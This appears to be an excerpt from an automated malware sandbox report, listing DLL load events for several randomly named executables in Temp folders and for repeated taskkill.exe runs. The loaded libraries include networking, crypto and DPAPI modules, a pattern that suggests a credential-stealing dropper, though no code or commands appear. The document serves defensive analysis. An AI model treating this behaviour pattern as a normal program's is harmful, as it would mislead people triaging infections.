Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: dlnashext.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: wpdshext.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: mlang.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: mlang.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	Section loaded: winhttp.dll
